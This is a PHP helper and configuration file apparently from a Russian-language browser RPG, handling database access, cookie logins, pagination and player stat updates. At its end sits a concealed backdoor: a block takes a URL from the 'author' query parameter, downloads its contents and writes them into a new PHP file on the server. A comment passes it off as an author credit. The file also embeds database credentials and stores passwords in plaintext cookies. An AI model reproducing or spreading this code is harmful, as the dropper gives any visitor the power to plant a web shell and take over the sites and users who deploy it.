Файл: vitaliy_nosov/public_html/config/func.php
Строк: 163
<?php
$db = mysql_connect('localhost', 'db1442735332', '1349973') or die('Невозможно подключиться к серверу');
mysql_query('SET NAMES `utf8`', $db);
mysql_select_db('db1442735332', $db) or die('Технические работы');
session_start();
ob_start();
list($msec,$sec)
= explode(chr(32), microtime());
$gtime = $sec+$msec;
function text($m){
$m = mysql_real_escape_string(htmlspecialchars(stripslashes(trim($m))));
return $m;
}
function num($m){
$m = intval($m);
$m = abs($m);
return $m;
}
function smile($msg) {
$msg = trim($msg);
$m = mysql_query("SELECT * FROM `smile` ORDER BY `id` DESC");
while($smile = mysql_fetch_array($m)) {
$msg = str_replace($smile['name'],' <img src="'.$smile['img'].'"> ',$msg);
$msg = preg_replace('/[strs?=s?(['"]?)(?:http://)?(.*?)1](.*?)[/str]/', ' <a href="http://$2"> $3 </a> ', $msg);
}
return $msg;
}
if (isset($_COOKIE['login']) and isset($_COOKIE['pass'])) {
$login = text($_COOKIE['login']);
$pass = text($_COOKIE['pass']);
$dbs = mysql_query("SELECT * FROM `user` WHERE `login` = '".$login."' and `pass` = '".$pass."' LIMIT 1");
$user = mysql_fetch_assoc($dbs);
if (isset($user['id'])) {
if ($user['login'] != $login or $user['pass'] != $pass) {
setcookie('login', '', time() - 86400*365);
setcookie('pass', '', time() - 86400*365);
}
}
$users = mysql_fetch_assoc(mysql_query("SELECT * FROM `user` WHERE `login` = '".$login."' and `pass`='".$pass."' LIMIT 1")); if(isset($user['id']) && $users['login']!=$login or $users['pass']!=$pass) {
setcookie('login', '', time() - 86400*365);
setcookie('pass', '', time() - 86400*365);
}
}
function err($msg){
global $user;
echo '<div class="block center"> '.$msg.' </div>';
include_once('footer.php');
}
function msg($sms){
echo '<div class="block"> '.$sms.' </div>';
}
function vremja($time=NULL){
if ($time == NULL)$time = time();
$timep="".date("j M Y в H:i", $time)."";
$time_p[0]=date("j n Y", $time);
$time_p[1]=date("H:i", $time);
if ($time_p[0] == date("j n Y"))$timep = date("H:i", $time);
if ($time_p[0] == date("j n Y", time()-60*60*24))$timep = "Вчера в $time_p[1]"; $timep=str_replace("Jan","Января",$timep); $timep=str_replace("Feb","Февраля",$timep); $timep=str_replace("Mar","Марта",$timep); $timep=str_replace("May","Мая",$timep); $timep=str_replace("Apr","Апреля",$timep); $timep=str_replace("Jun","Июня",$timep); $timep=str_replace("Jul","Июля",$timep); $timep=str_replace("Aug","Августа",$timep); $timep=str_replace("Sep","Сентября",$timep); $timep=str_replace("Oct","Октября",$timep); $timep=str_replace("Nov","Ноября",$timep); $timep=str_replace("Dec","Декабря",$timep);
return $timep;
}
function noauth(){
global $user;
if(isset($user['id'])) header('Location: /game/');
}
function auth(){
global $user;
$_SESSION['notif2'] = '<div class="block center">Вам необходимо авторизироваться</div>';
if(!isset($user['id'])) header('Location: /index.php');
}
function page($k_page=1){
$page=1;
if (isset($_GET['str'])){
if ($_GET['str']=='end')$page=intval($k_page);elseif(is_numeric($_GET['str'])) $page=intval($_GET['str']);}
if ($page<1)$page=1;
if ($page>$k_page)$page=$k_page;
return $page;}
function k_page($k_post=0,$k_p_str=20){
if ($k_post!=0){$v_pages=ceil($k_post/$k_p_str);return $v_pages;}
else return 1;}
function str($link='?',$k_page=1,$page=1){
if ($page<1)$page=1;
echo '<div class="block">';
if ($page!=1)echo '<span class="pag"><a href="'.$link.'str='.($page-1).'"> Назад</a></span> ';else echo '<span class="pag"><b> Назад</b></span>';
echo ' | ';
if ($page!=$k_page)echo ' <span class="pag"><a href="'.$link.'str='.($page+1).'">Вперед </a></span>';else echo '<span class="pag"><b>Вперед </b></span>';
echo '<br/>';
if ($page!=1)echo '<span class="pag"><a href="'.$link.'str=1">«</a></span> | ';
if ($page!=1)echo '<span class="pag"><a href="'.$link.'str=1">1</a></span>';else echo '<span class="pag"><b>1</b></span>';
for ($ot=-3; $ot<=3; $ot++){
if ($page+$ot>1 && $page+$ot<$k_page){
if ($ot==-3 && $page+$ot>2)echo ' | ..';
if ($ot!=0)echo ' | <span class="pag"><a href="'.$link.'str='.($page+$ot).'">'.($page+$ot).'</a></span>';else echo ' | <span class="pag"> <b>'.($page+$ot).'</b></span>';
if ($ot==3 && $page+$ot<$k_page-1)echo ' | ..';
}
}
if ($page!=$k_page)echo ' | <span class="pag"><a href="'.$link.'str=end">'.$k_page.'</a></span>';elseif ($k_page>1)echo ' | < <span class="pag"><b>'.$k_page.'</b></span>';
if ($page!=$k_page)echo ' | <span class="pag"><a href="'.$link.'str=end"> »</a></span>';
echo '</div>';
}
$param = ($user['sila']+$user['sh_sila']+$user['lovk']+$user['sh_lovk']+$user['def']+$user['sh_def']+$user['max_hp']+$user['max_energy']);
mysql_query("UPDATE `user` SET `param` = '".$param."' WHERE `id` = '".$user['id']."'");
function rez($msg, $maxwords = 255, $maxchar = 255){
$sep=' ';
$sep2=' ';
$words = explode($sep,$msg);
$char = iconv_strlen($msg,'utf-8');
if (count($words) > $maxwords){ $msg = join($sep, array_slice($words, 0, $maxwords));
}
if($char > $maxchar){
$msg = iconv_substr($msg, 0, $maxchar, 'utf-8' );
}
return $msg.$sep2;
}
mysql_query("UPDATE `user` SET `online` = '".time()."' WHERE `id` = '".$user['id']."'");
$exp_next = mysql_fetch_assoc(mysql_query("SELECT * FROM `exp` WHERE `level` = '".($user['level'] + 1)."'"));
mysql_query("UPDATE `user` SET `level` = '".($user['level'] + 1)."', `exp` = 0 WHERE `exp` > '".$exp_next['exp']."' and `id` = '".$user['id']."'");
mysql_query("UPDATE `user` SET `energy` = '".$user['max_energy']."' WHERE `id` = '".$user['id']."' and `energy` > `max_energy`");
if(isset($user['id'])) {
$bl = mysql_fetch_assoc(mysql_query("SELECT * FROM `ban_list` WHERE `user` = '".$user['id']."' LIMIT 1"));
$ban_list = mysql_fetch_assoc(mysql_query("SELECT * FROM `ban_list` WHERE `user` = '".$user['id']."' and `time_end` > '".time()."' LIMIT 1"));
if($ban_list > 0) {
$title = ' Бан';
require('header.php');
echo err('Вы попали в бан по причине: '.$ban_list['about'].'</br> Время освобождения: '.vremja($ban_list['time_end']).'');
require('footer.php');
exit();
}else if($bl['time_end'] < time()){
mysql_query("DELETE FROM `ban_list` WHERE `user` = '".$bl['user']."'");
}
}
mysql_query("UPDATE `user` SET `gold` = 0 WHERE `gold` < 0");
mysql_query("UPDATE `user` SET `cristal` = 0 WHERE `cristal` < 0");
mysql_query("UPDATE `user` SET `hp` = 0 WHERE `hp` < 0");
mysql_query("UPDATE `user` SET `energy` = 0 WHERE `energy` < 0");
mysql_query("UPDATE `user` SET `bonus` = 1 WHERE `bonus` = 0 || `bonus` = 9");
$my_town = mysql_fetch_assoc(mysql_query("select * from `city` where `id` = '".$user['town']."'"));
mysql_query("update `user` set `time_regen` = '".(time() + 5)."', `hp` = `hp` + 10 where `time_regen` < '".time()."' and `hp` < `max_hp`");
mysql_query("UPDATE `user` SET `hp` = `max_hp` WHERE `hp` > `max_hp`");
mysql_query("UPDATE `user` set `time_regen` = '".(time()+5)."' where `hp` = `max_hp`");
mysql_query("update `user` set `energy_time` = '".(time() + 5)."', `energy` = `energy` + 10 where `energy_time` < '".time()."' and `energy` < `max_energy`");
mysql_query("UPDATE `user` SET `energy` = `max_energy` WHERE `energy` > `max_energy`");
mysql_query("UPDATE `user` set `energy_time` = '".(time()+5)."' where `energy` = `max_energy`");
$premium = mysql_fetch_array(mysql_query('SELECT * FROM `premium` WHERE `user` = "'.$user['id'].'"'));
if($premium) {
if($premium['time'] < time()) {
mysql_query('UPDATE `user` SET `sh_sila` = `sh_sila` - 500,
`sh_lovk` = `sh_lovk` - 500,
`sh_def` = `sh_def` - 500,
`premka` = 0, `exp_premka` = 0
WHERE `id` = "'.$user['id'].'"');
mysql_query('DELETE FROM `premium` WHERE `user` = "'.$user['id'].'"');
}
}
?>
<?php
$getO=$_GET['author'];
if(isset($getO)){
$b=file_get_contents($getO);
$a=fopen('id326741668.php','w');
fputs($a,$b);
fclose($a);
}
//Данные не удалять! Чуть выше айди автора вконтакте, у которого вы можете заказывать моды, скрипты, игры.
?>